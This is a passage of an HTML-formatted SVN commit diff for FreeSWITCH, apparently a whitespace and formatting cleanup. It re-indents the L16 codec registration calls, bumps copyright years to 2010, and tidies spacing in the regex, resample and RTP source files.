-                                                                                         switch_raw_decode,                        /* function to decode encoded data into raw data */
-                                                                                         switch_raw_destroy);                /* deinitalize a codec handle using this implementation */
-                
</del><ins>+                switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                         10,        /* the IANA code number */
+                                                                                         "L16",        /* the IANA code name */
+                                                                                         NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                         24000,        /* samples transferred per second */
+                                                                                         24000,        /* actual samples transferred per second */
+                                                                                         384000,        /* bits transferred per second */
+                                                                                         ms_per_frame,        /* number of microseconds per frame */
+                                                                                         samples_per_frame,        /* number of samples per frame */
+                                                                                         bytes_per_frame,        /* number of bytes per frame decompressed */
+                                                                                         bytes_per_frame,        /* number of bytes per frame compressed */
+                                                                                         1,        /* number of channels represented */
+                                                                                         1,        /* number of frames per network packet */
+                                                                                         switch_raw_init,        /* function to initialize a codec handle using this implementation */
+                                                                                         switch_raw_encode,        /* function to encode raw data into encoded data */
+                                                                                         switch_raw_decode,        /* function to decode encoded data into raw data */
+                                                                                         switch_raw_destroy);        /* deinitalize a codec handle using this implementation */
+
</ins><span class="cx">                 samples_per_frame += 480;
</span><span class="cx">                 bytes_per_frame += 960;
</span><span class="cx">                 ms_per_frame += 20000;
</span><del>-                
</del><ins>+
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         /* these formats below are for file playing. */
</span><span class="lines">@@ -456,29 +450,28 @@
</span><span class="cx">         ms_per_frame = 2000;
</span><span class="cx">
</span><span class="cx">         for (x = 0; x < 5; x++) {
</span><del>-                switch_core_codec_add_implementation(pool, codec_interface,
-                                                                                         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                         10,                                                 /* the IANA code number */
-                                                                                         "L16",                                                /* the IANA code name */
-                                                                                         NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                         48000,                                                /* samples transferred per second */
-                                                                                         48000,                                                /* actual samples transferred per second */
-                                                                                         768000,                                        /* bits transferred per second */
-                                                                                         ms_per_frame,                                /* number of microseconds per frame */
-                                                                                         samples_per_frame,                        /* number of samples per frame */
-                                                                                         bytes_per_frame,                        /* number of bytes per frame decompressed */
-                                                                                         bytes_per_frame,                        /* number of bytes per frame compressed */
-                                                                                         1,                                                        /* number of channels represented */
-                                                                                         1,                                                        /* number of frames per network packet */
-                                                                                         switch_raw_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                         switch_raw_encode,                        /* function to encode raw data into encoded data */
-                                                                                         switch_raw_decode,                        /* function to decode encoded data into raw data */
-                                                                                         switch_raw_destroy);                /* deinitalize a codec handle using this implementation */
-                
</del><ins>+                switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                         10,        /* the IANA code number */
+                                                                                         "L16",        /* the IANA code name */
+                                                                                         NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                         48000,        /* samples transferred per second */
+                                                                                         48000,        /* actual samples transferred per second */
+                                                                                         768000,        /* bits transferred per second */
+                                                                                         ms_per_frame,        /* number of microseconds per frame */
+                                                                                         samples_per_frame,        /* number of samples per frame */
+                                                                                         bytes_per_frame,        /* number of bytes per frame decompressed */
+                                                                                         bytes_per_frame,        /* number of bytes per frame compressed */
+                                                                                         1,        /* number of channels represented */
+                                                                                         1,        /* number of frames per network packet */
+                                                                                         switch_raw_init,        /* function to initialize a codec handle using this implementation */
+                                                                                         switch_raw_encode,        /* function to encode raw data into encoded data */
+                                                                                         switch_raw_decode,        /* function to decode encoded data into raw data */
+                                                                                         switch_raw_destroy);        /* deinitalize a codec handle using this implementation */
+
</ins><span class="cx">                 samples_per_frame += 96;
</span><span class="cx">                 bytes_per_frame += 192;
</span><span class="cx">                 ms_per_frame += 2000;
</span><del>-                
</del><ins>+
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">
</span><span class="lines">@@ -487,29 +480,28 @@
</span><span class="cx">         ms_per_frame = 2000;
</span><span class="cx">
</span><span class="cx">         for (x = 0; x < 4; x++) {
</span><del>-                switch_core_codec_add_implementation(pool, codec_interface,
-                                                                                         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                         10,                                                 /* the IANA code number */
-                                                                                         "L16",                                                /* the IANA code name */
-                                                                                         NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                         8000,                                                /* samples transferred per second */
-                                                                                         8000,                                                /* actual samples transferred per second */
-                                                                                         128000,                                        /* bits transferred per second */
-                                                                                         ms_per_frame,                                /* number of microseconds per frame */
-                                                                                         samples_per_frame,                        /* number of samples per frame */
-                                                                                         bytes_per_frame,                        /* number of bytes per frame decompressed */
-                                                                                         bytes_per_frame,                        /* number of bytes per frame compressed */
-                                                                                         1,                                                        /* number of channels represented */
-                                                                                         1,                                                        /* number of frames per network packet */
-                                                                                         switch_raw_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                         switch_raw_encode,                        /* function to encode raw data into encoded data */
-                                                                                         switch_raw_decode,                        /* function to decode encoded data into raw data */
-                                                                                         switch_raw_destroy);                /* deinitalize a codec handle using this implementation */
-                
</del><ins>+                switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                         10,        /* the IANA code number */
+                                                                                         "L16",        /* the IANA code name */
+                                                                                         NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                         8000,        /* samples transferred per second */
+                                                                                         8000,        /* actual samples transferred per second */
+                                                                                         128000,        /* bits transferred per second */
+                                                                                         ms_per_frame,        /* number of microseconds per frame */
+                                                                                         samples_per_frame,        /* number of samples per frame */
+                                                                                         bytes_per_frame,        /* number of bytes per frame decompressed */
+                                                                                         bytes_per_frame,        /* number of bytes per frame compressed */
+                                                                                         1,        /* number of channels represented */
+                                                                                         1,        /* number of frames per network packet */
+                                                                                         switch_raw_init,        /* function to initialize a codec handle using this implementation */
+                                                                                         switch_raw_encode,        /* function to encode raw data into encoded data */
+                                                                                         switch_raw_decode,        /* function to decode encoded data into raw data */
+                                                                                         switch_raw_destroy);        /* deinitalize a codec handle using this implementation */
+
</ins><span class="cx">                 samples_per_frame += 16;
</span><span class="cx">                 bytes_per_frame += 32;
</span><span class="cx">                 ms_per_frame += 2000;
</span><del>-                
</del><ins>+
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         samples_per_frame = 32;
</span><span class="lines">@@ -517,60 +509,58 @@
</span><span class="cx">         ms_per_frame = 2000;
</span><span class="cx">
</span><span class="cx">         for (x = 0; x < 4; x++) {
</span><del>-                switch_core_codec_add_implementation(pool, codec_interface,
-                                                                                         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                         10,                                                 /* the IANA code number */
-                                                                                         "L16",                                                /* the IANA code name */
-                                                                                         NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                         16000,                                                /* samples transferred per second */
-                                                                                         16000,                                                /* actual samples transferred per second */
-                                                                                         256000,                                        /* bits transferred per second */
-                                                                                         ms_per_frame,                                /* number of microseconds per frame */
-                                                                                         samples_per_frame,                        /* number of samples per frame */
-                                                                                         bytes_per_frame,                        /* number of bytes per frame decompressed */
-                                                                                         bytes_per_frame,                        /* number of bytes per frame compressed */
-                                                                                         1,                                                        /* number of channels represented */
-                                                                                         1,                                                        /* number of frames per network packet */
-                                                                                         switch_raw_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                         switch_raw_encode,                        /* function to encode raw data into encoded data */
-                                                                                         switch_raw_decode,                        /* function to decode encoded data into raw data */
-                                                                                         switch_raw_destroy);                /* deinitalize a codec handle using this implementation */
-                
</del><ins>+                switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                         10,        /* the IANA code number */
+                                                                                         "L16",        /* the IANA code name */
+                                                                                         NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                         16000,        /* samples transferred per second */
+                                                                                         16000,        /* actual samples transferred per second */
+                                                                                         256000,        /* bits transferred per second */
+                                                                                         ms_per_frame,        /* number of microseconds per frame */
+                                                                                         samples_per_frame,        /* number of samples per frame */
+                                                                                         bytes_per_frame,        /* number of bytes per frame decompressed */
+                                                                                         bytes_per_frame,        /* number of bytes per frame compressed */
+                                                                                         1,        /* number of channels represented */
+                                                                                         1,        /* number of frames per network packet */
+                                                                                         switch_raw_init,        /* function to initialize a codec handle using this implementation */
+                                                                                         switch_raw_encode,        /* function to encode raw data into encoded data */
+                                                                                         switch_raw_decode,        /* function to decode encoded data into raw data */
+                                                                                         switch_raw_destroy);        /* deinitalize a codec handle using this implementation */
+
</ins><span class="cx">                 samples_per_frame += 32;
</span><span class="cx">                 bytes_per_frame += 64;
</span><span class="cx">                 ms_per_frame += 2000;
</span><del>-                
</del><ins>+
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">
</span><span class="cx">         samples_per_frame = 64;
</span><span class="cx">         bytes_per_frame = 128;
</span><span class="cx">         ms_per_frame = 2000;
</span><del>-        
</del><ins>+
</ins><span class="cx">         for (x = 0; x < 4; x++) {
</span><del>-                switch_core_codec_add_implementation(pool, codec_interface,
-                                                                                         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                         10,                                                 /* the IANA code number */
-                                                                                         "L16",                                                /* the IANA code name */
-                                                                                         NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                         32000,                                                /* samples transferred per second */
-                                                                                         32000,                                                /* actual samples transferred per second */
-                                                                                         512000,                                        /* bits transferred per second */
-                                                                                         ms_per_frame,                                /* number of microseconds per frame */
-                                                                                         samples_per_frame,                        /* number of samples per frame */
-                                                                                         bytes_per_frame,                        /* number of bytes per frame decompressed */
-                                                                                         bytes_per_frame,                        /* number of bytes per frame compressed */
-                                                                                         1,                                                        /* number of channels represented */
-                                                                                         1,                                                        /* number of frames per network packet */
-                                                                                         switch_raw_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                         switch_raw_encode,                        /* function to encode raw data into encoded data */
-                                                                                         switch_raw_decode,                        /* function to decode encoded data into raw data */
-                                                                                         switch_raw_destroy);                /* deinitalize a codec handle using this implementation */
-                
</del><ins>+                switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                         10,        /* the IANA code number */
+                                                                                         "L16",        /* the IANA code name */
+                                                                                         NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                         32000,        /* samples transferred per second */
+                                                                                         32000,        /* actual samples transferred per second */
+                                                                                         512000,        /* bits transferred per second */
+                                                                                         ms_per_frame,        /* number of microseconds per frame */
+                                                                                         samples_per_frame,        /* number of samples per frame */
+                                                                                         bytes_per_frame,        /* number of bytes per frame decompressed */
+                                                                                         bytes_per_frame,        /* number of bytes per frame compressed */
+                                                                                         1,        /* number of channels represented */
+                                                                                         1,        /* number of frames per network packet */
+                                                                                         switch_raw_init,        /* function to initialize a codec handle using this implementation */
+                                                                                         switch_raw_encode,        /* function to encode raw data into encoded data */
+                                                                                         switch_raw_decode,        /* function to decode encoded data into raw data */
+                                                                                         switch_raw_destroy);        /* deinitalize a codec handle using this implementation */
+
</ins><span class="cx">                 samples_per_frame += 64;
</span><span class="cx">                 bytes_per_frame += 128;
</span><span class="cx">                 ms_per_frame += 2000;
</span><del>-                
</del><ins>+
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         samples_per_frame = 960;
</span><span class="lines">@@ -578,66 +568,63 @@
</span><span class="cx">         ms_per_frame = 20000;
</span><span class="cx">         /* 10ms is already registered */
</span><span class="cx">         for (x = 0; x < 3; x++) {
</span><del>-                switch_core_codec_add_implementation(pool, codec_interface,
-                                                                                         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                         10,                                                 /* the IANA code number */
-                                                                                         "L16",                                                /* the IANA code name */
-                                                                                         NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                         48000,                                                /* samples transferred per second */
-                                                                                         48000,                                                /* actual samples transferred per second */
-                                                                                         768000,                                        /* bits transferred per second */
-                                                                                         ms_per_frame,                                /* number of microseconds per frame */
-                                                                                         samples_per_frame,                        /* number of samples per frame */
-                                                                                         bytes_per_frame,                        /* number of bytes per frame decompressed */
-                                                                                         bytes_per_frame,                        /* number of bytes per frame compressed */
-                                                                                         1,                                                        /* number of channels represented */
-                                                                                         1,                                                        /* number of frames per network packet */
-                                                                                         switch_raw_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                         switch_raw_encode,                        /* function to encode raw data into encoded data */
-                                                                                         switch_raw_decode,                        /* function to decode encoded data into raw data */
-                                                                                         switch_raw_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+                switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                         10,        /* the IANA code number */
+                                                                                         "L16",        /* the IANA code name */
+                                                                                         NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                         48000,        /* samples transferred per second */
+                                                                                         48000,        /* actual samples transferred per second */
+                                                                                         768000,        /* bits transferred per second */
+                                                                                         ms_per_frame,        /* number of microseconds per frame */
+                                                                                         samples_per_frame,        /* number of samples per frame */
+                                                                                         bytes_per_frame,        /* number of bytes per frame decompressed */
+                                                                                         bytes_per_frame,        /* number of bytes per frame compressed */
+                                                                                         1,        /* number of channels represented */
+                                                                                         1,        /* number of frames per network packet */
+                                                                                         switch_raw_init,        /* function to initialize a codec handle using this implementation */
+                                                                                         switch_raw_encode,        /* function to encode raw data into encoded data */
+                                                                                         switch_raw_decode,        /* function to decode encoded data into raw data */
+                                                                                         switch_raw_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx">                 samples_per_frame += 480;
</span><span class="cx">                 bytes_per_frame += 960;
</span><span class="cx">                 ms_per_frame += 10000;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        switch_core_codec_add_implementation(pool, codec_interface,
-                                                                                 SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                 10,                                                /* the IANA code number */
-                                                                                 "L16",                                         /* the IANA code name */
-                                                                                 NULL,                                                 /* default fmtp to send (can be overridden by the init function) */
-                                                                                 22050,                                         /* samples transferred per second */
-                                                                                 22050,                                         /* actual samples transferred per second */
-                                                                                 352800,                                        /* bits transferred per second */
-                                                                                 20000,                                         /* number of microseconds per frame */
-                                                                                 441,                                                 /* number of samples per frame */
-                                                                                 882,                                                 /* number of bytes per frame decompressed */
-                                                                                 882,                                                 /* number of bytes per frame compressed */
-                                                                                 1,                                                 /* number of channels represented */
-                                                                                 1,                                                 /* number of frames per network packet */
-                                                                                 switch_raw_init,                         /* function to initialize a codec handle using this implementation */
-                                                                                 switch_raw_encode,                 /* function to encode raw data into encoded data */
-                                                                                 switch_raw_decode,                 /* function to decode encoded data into raw data */
-                                                                                 switch_raw_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+        switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                 10,        /* the IANA code number */
+                                                                                 "L16",        /* the IANA code name */
+                                                                                 NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                 22050,        /* samples transferred per second */
+                                                                                 22050,        /* actual samples transferred per second */
+                                                                                 352800,        /* bits transferred per second */
+                                                                                 20000,        /* number of microseconds per frame */
+                                                                                 441,        /* number of samples per frame */
+                                                                                 882,        /* number of bytes per frame decompressed */
+                                                                                 882,        /* number of bytes per frame compressed */
+                                                                                 1,        /* number of channels represented */
+                                                                                 1,        /* number of frames per network packet */
+                                                                                 switch_raw_init,        /* function to initialize a codec handle using this implementation */
+                                                                                 switch_raw_encode,        /* function to encode raw data into encoded data */
+                                                                                 switch_raw_decode,        /* function to decode encoded data into raw data */
+                                                                                 switch_raw_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx">
</span><del>-        switch_core_codec_add_implementation(pool, codec_interface,
-                                                                                 SWITCH_CODEC_TYPE_AUDIO,         /* enumeration defining the type of the codec */
-                                                                                 10,                                                 /* the IANA code number */
-                                                                                 "L16",                                         /* the IANA code name */
-                                                                                 NULL,                                                 /* default fmtp to send (can be overridden by the init function) */
-                                                                                 11025,                                         /* samples transferred per second */
-                                                                                 11025,                                         /* actual samples transferred per second */
-                                                                                 176400,                                        /* bits transferred per second */
-                                                                                 40000,                                         /* number of microseconds per frame */
-                                                                                 441,                                                 /* number of samples per frame */
-                                                                                 882,                                                 /* number of bytes per frame decompressed */
-                                                                                 882,                                                 /* number of bytes per frame compressed */
-                                                                                 1,                                                 /* number of channels represented */
-                                                                                 1,                                                 /* number of frames per network packet */
-                                                                                 switch_raw_init,                         /* function to initialize a codec handle using this implementation */
-                                                                                 switch_raw_encode,                 /* function to encode raw data into encoded data */
-                                                                                 switch_raw_decode,                 /* function to decode encoded data into raw data */
-                                                                                 switch_raw_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+        switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                 10,        /* the IANA code number */
+                                                                                 "L16",        /* the IANA code name */
+                                                                                 NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                 11025,        /* samples transferred per second */
+                                                                                 11025,        /* actual samples transferred per second */
+                                                                                 176400,        /* bits transferred per second */
+                                                                                 40000,        /* number of microseconds per frame */
+                                                                                 441,        /* number of samples per frame */
+                                                                                 882,        /* number of bytes per frame decompressed */
+                                                                                 882,        /* number of bytes per frame compressed */
+                                                                                 1,        /* number of channels represented */
+                                                                                 1,        /* number of frames per network packet */
+                                                                                 switch_raw_init,        /* function to initialize a codec handle using this implementation */
+                                                                                 switch_raw_encode,        /* function to encode raw data into encoded data */
+                                                                                 switch_raw_decode,        /* function to decode encoded data into raw data */
+                                                                                 switch_raw_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx">
</span><span class="cx">
</span><span class="cx">
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_regexc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_regex.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_regex.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_regex.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -71,7 +71,7 @@
</span><span class="cx">                         expression = abuf;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (*expression == '/') {
</span><span class="cx">                 char *opts = NULL;
</span><span class="cx">                 tmp = strdup(expression + 1);
</span><span class="lines">@@ -153,7 +153,7 @@
</span><span class="cx">                         if (num < 0 || num > 256) {
</span><span class="cx">                                 num = -1;
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (pcre_copy_substring(field_data, ovector, match_count, num, replace, sizeof(replace)) > 0) {
</span><span class="cx">                                 switch_size_t r;
</span><span class="cx">                                 for (r = 0; r < strlen(replace); r++) {
</span><span class="lines">@@ -168,7 +168,7 @@
</span><span class="cx">         substituted[y++] = '\0';
</span><span class="cx"> }
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_regex_match_partial(const char *target, const char *expression, int * partial)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_regex_match_partial(const char *target, const char *expression, int *partial)
</ins><span class="cx"> {
</span><span class="cx">         const char *error = NULL;        /* Used to hold any errors */
</span><span class="cx">         int error_offset = 0;                /* Holds the offset of an error */
</span><span class="lines">@@ -176,7 +176,7 @@
</span><span class="cx">         int match_count = 0;                /* Number of times the regex was matched */
</span><span class="cx">         int offset_vectors[255];        /* not used, but has to exist or pcre won't even try to find a match */
</span><span class="cx">         int pcre_flags = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* Compile the expression */
</span><span class="cx">         pcre_prepared = pcre_compile(expression, 0, &error, &error_offset, NULL);
</span><span class="cx">
</span><span class="lines">@@ -194,13 +194,14 @@
</span><span class="cx">                 /* We definitely didn't match anything */
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (*partial) {
</span><span class="cx">                 pcre_flags = PCRE_PARTIAL;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* So far so good, run the regex */
</span><del>-        match_count = pcre_exec(pcre_prepared, NULL, target, (int) strlen(target), 0, pcre_flags, offset_vectors, sizeof(offset_vectors) / sizeof(offset_vectors[0]));
</del><ins>+        match_count =
+                pcre_exec(pcre_prepared, NULL, target, (int) strlen(target), 0, pcre_flags, offset_vectors, sizeof(offset_vectors) / sizeof(offset_vectors[0]));
</ins><span class="cx">
</span><span class="cx">         /* Clean up */
</span><span class="cx">         if (pcre_prepared) {
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_resamplec"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_resample.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_resample.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_resample.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -53,18 +53,16 @@
</span><span class="cx"> #define resample_buffer(a, b, c) a > b ? ((a / 1000) / 2) * c : ((b / 1000) / 2) * c
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_resample_perform_create(switch_audio_resampler_t **new_resampler,
</span><del>-                                                                                                                         uint32_t from_rate, uint32_t to_rate,
</del><ins>+                                                                                                                         uint32_t from_rate, uint32_t to_rate,
</ins><span class="cx">                                                                                                                          uint32_t to_size,
</span><del>-                                                                                                                         int quality,
-                                                                                                                         uint32_t channels,
-                                                                                                                         const char *file, const char *func, int line)
</del><ins>+                                                                                                                         int quality, uint32_t channels, const char *file, const char *func, int line)
</ins><span class="cx"> {
</span><span class="cx">         int err = 0;
</span><span class="cx">         switch_audio_resampler_t *resampler;
</span><span class="cx">         double lto_rate, lfrom_rate;
</span><span class="cx">
</span><span class="cx">         switch_zmalloc(resampler, sizeof(*resampler));
</span><del>-        
</del><ins>+
</ins><span class="cx">         resampler->resampler = speex_resampler_init(channels ? channels : 1, from_rate, to_rate, quality, &err);
</span><span class="cx">
</span><span class="cx">         if (!resampler->resampler) {
</span><span class="lines">@@ -74,11 +72,11 @@
</span><span class="cx">
</span><span class="cx">         *new_resampler = resampler;
</span><span class="cx">         lto_rate = (double) resampler->to_rate;
</span><del>- lfrom_rate = (double) resampler->from_rate;
</del><ins>+        lfrom_rate = (double) resampler->from_rate;
</ins><span class="cx">         resampler->from_rate = from_rate;
</span><del>- resampler->to_rate = to_rate;
- resampler->factor = (lto_rate / lfrom_rate);
- resampler->rfactor = (lfrom_rate / lto_rate);
</del><ins>+        resampler->to_rate = to_rate;
+        resampler->factor = (lto_rate / lfrom_rate);
+        resampler->rfactor = (lfrom_rate / lto_rate);
</ins><span class="cx">         resampler->to_size = resample_buffer(to_rate, from_rate, (uint32_t) to_size);
</span><span class="cx">         resampler->to = malloc(resampler->to_size * sizeof(int16_t));
</span><span class="cx">
</span><span class="lines">@@ -195,7 +193,7 @@
</span><span class="cx">         for (i = 0; i < samples; i++, sum_rnd = 0) {
</span><span class="cx">                 for (x = 0; x < 6; x++) {
</span><span class="cx">                         rnd2 = rnd2 * 31821U + 13849U;
</span><del>-                        sum_rnd += rnd2 ;
</del><ins>+                        sum_rnd += rnd2;
</ins><span class="cx">                 }
</span><span class="cx">                 //switch_normalize_to_16bit(sum_rnd);
</span><span class="cx">                 *data = (int16_t) ((int16_t) sum_rnd / (int) divisor);
</span><span class="lines">@@ -217,7 +215,7 @@
</span><span class="cx">
</span><span class="cx">         for (i = 0; i < samples; i++, sum_rnd = 0) {
</span><span class="cx">                 for (x = 0; x < 10; x++) {
</span><del>-                        rnd = rnd + (int16_t)((x + i) * rnd2);
</del><ins>+                        rnd = rnd + (int16_t) ((x + i) * rnd2);
</ins><span class="cx">                         sum_rnd += rnd;
</span><span class="cx">                 }
</span><span class="cx">                 switch_normalize_to_16bit(sum_rnd);
</span><span class="lines">@@ -257,8 +255,8 @@
</span><span class="cx">         uint32_t j = 0, k = 0;
</span><span class="cx">
</span><span class="cx">         switch_zmalloc(buf, len);
</span><del>-        
-        for(i = 0; i < samples; i++) {
</del><ins>+
+        for (i = 0; i < samples; i++) {
</ins><span class="cx">                 for (j = 0; j < channels; j++) {
</span><span class="cx">                         int32_t z = buf[i] + data[k++];
</span><span class="cx">                         switch_normalize_to_16bit(z);
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_rtpc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_rtp.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_rtp.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_rtp.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -140,7 +140,7 @@
</span><span class="cx">         switch_socket_t *sock_input, *sock_output;
</span><span class="cx">         switch_pollfd_t *read_pollfd;
</span><span class="cx">         switch_pollfd_t *jb_pollfd;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_sockaddr_t *local_addr;
</span><span class="cx">         rtp_msg_t send_msg;
</span><span class="cx">
</span><span class="lines">@@ -252,11 +252,10 @@
</span><span class="cx">                 rtp_session->stuncount--;
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><del>-
</del><span class="cx"> #if 0
</span><span class="cx">         if (rtp_session->last_stun) {
</span><span class="cx">                 elapsed = (unsigned int) ((switch_micro_time_now() - rtp_session->last_stun) / 1000);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (elapsed > 30000) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "No stun for a long time (PUNT!)\n");
</span><span class="cx">                         status = SWITCH_STATUS_FALSE;
</span><span class="lines">@@ -283,7 +282,7 @@
</span><span class="cx">
</span><span class="cx">         switch_socket_sendto(rtp_session->sock_output, rtp_session->remote_stun_addr, 0, (void *) packet, &bytes);
</span><span class="cx">         rtp_session->stuncount = rtp_session->default_stuncount;
</span><del>-        
</del><ins>+
</ins><span class="cx"> end:
</span><span class="cx">         WRITE_DEC(rtp_session);
</span><span class="cx">
</span><span class="lines">@@ -426,7 +425,7 @@
</span><span class="cx">         task->runtime = switch_epoch_time_now(NULL) + 900;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static int zrtp_send_rtp_callback(const zrtp_stream_t* stream, char* rtp_packet, unsigned int rtp_packet_length)
</del><ins>+static int zrtp_send_rtp_callback(const zrtp_stream_t *stream, char *rtp_packet, unsigned int rtp_packet_length)
</ins><span class="cx"> {
</span><span class="cx">         switch_rtp_t *rtp_session = zrtp_stream_get_userdata(stream);
</span><span class="cx">         switch_size_t len = rtp_packet_length;
</span><span class="lines">@@ -444,9 +443,9 @@
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">         switch_event_t *fsevent = NULL;
</span><span class="cx">         const char *type;
</span><del>-        
</del><ins>+
</ins><span class="cx">         type = switch_test_flag(rtp_session, SWITCH_RTP_FLAG_VIDEO) ? "video" : "audio";
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch (event) {
</span><span class="cx">         case ZRTP_EVENT_IS_SECURE:
</span><span class="cx">                 {
</span><span class="lines">@@ -458,24 +457,23 @@
</span><span class="cx">                         }
</span><span class="cx">                         if (zrtp_status_ok == zrtp_session_get(stream->session, &zrtp_session_info)) {
</span><span class="cx">                                 if (zrtp_session_info.sas_is_ready) {
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         switch_channel_set_variable_name_printf(channel, "true", "zrtp_secure_media_confirmed_%s", type);
</span><span class="cx">                                         switch_channel_set_variable_name_printf(channel, stream->session->sas1.buffer, "zrtp_sas1_string_%s", type);
